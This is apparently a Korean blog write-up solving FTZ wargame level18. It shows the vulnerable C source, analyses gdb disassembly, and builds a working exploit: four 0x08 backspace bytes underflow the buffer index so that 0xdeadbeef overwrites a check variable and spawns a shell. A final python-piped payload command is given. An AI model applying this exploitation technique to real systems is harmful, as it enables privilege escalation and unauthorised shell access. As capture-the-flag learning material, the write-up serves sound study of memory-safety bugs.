source code check!
[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
왐마 뭐 이리 기냐
핵심 부분만 살펴보죠
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
쉘을 실행시키는 함수가 있네요
if(check == 0xdeadbeef)
shellout();
check가 0xdeadbeef이면 shellout() 함수를 실행시켜 쉘을 띄우네요
얘가 뽀인트인 것 같습니다
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
정확히 뭘 말인지는 몰라도 마지막 코드에 read로 입력값을 1바이트만큼 가져온다네요
아마 저기서 bof를 일으켜야 할 것 같습니다
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
입력 받은 값이 '\r', '\n'이면 \a를 출력, 0x08이면 count의 값을 1 감소시키고, 나머지 값들을 string 배열에 하나씩 늘려가면서 저장이 되네요
음 이 문제를 어떻게 풀어야 할지 감이 안 잡혀서 gdb로 분석해봅니당
옹 check가 ebp-104에 있네요
0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je 0x8048731 <main+481>
0x08048715 <main+453>: jmp 0x8048743 <main+499>
0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je 0x8048722 <main+466>
0x08048720 <main+464>: jmp 0x8048743 <main+499>
0x08048722 <main+466>: push 0x8048831
0x08048727 <main+471>: call 0x8048470 <printf>
0x0804872c <main+476>: add esp,0x4
0x0804872f <main+479>: jmp 0x8048770 <main+544>
0x08048731 <main+481>: dec DWORD PTR [ebp-112]
0x08048734 <main+484>: push 0x8048833
0x08048739 <main+489>: call 0x8048470 <printf>
0x0804873e <main+494>: add esp,0x4
0x08048741 <main+497>: jmp 0x8048770 <main+544>
0x08048743 <main+499>: lea eax,[ebp-100]
보면 main+444에서 0x8과 비교하는데 이 부분이 case 0x08인 걸 알 수 있습니다
그 후 같지 않다면 main+499에서 ebp-100에 있는 값을 eax에 넣어주는데 이때 ebp-100에 위치한 값이 string인 걸 알 수 있습니다
스택 구조상 string이 check보다 먼저 선언돼서 더 높은 주소에 위치해 있어 일반적인 bof를 사용할 수 없습니다
근데 아까 입력값이 0x08이면 count의 값이 -1씩 감소한다고 했습니다
그렇다면 0x08을 4번 넣어주면 string[-4]가 되면서 ebp-100이었던 string의 주소가 ebp-104(check)가 되어 0xdeadbeef를 입력해줄 수 있는 구조가 됩니다
이제 페이로드를 짜보겠습니다
Payload = 0x08*4 + 0xdeadbeef
최종 페이로드 = (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"'; cat) | ./attackme
이번 문제를 풀면서 스택의 구조를 다시 공부해봐야겠다는 생각이 들었다
'Pwnable > FTZ' 카테고리의 다른 글
[FTZ] level19 문제 풀이! (0) | 2022.05.13 |
---|---|
[FTZ] level17 풀이!!! (0) | 2022.05.12 |
[FTZ] level16 풀이!! (0) | 2022.05.12 |
[FTZ] level15 풀이!! (2) | 2022.05.11 |
[FTZ] level14 풀이!! (1) | 2022.05.10 |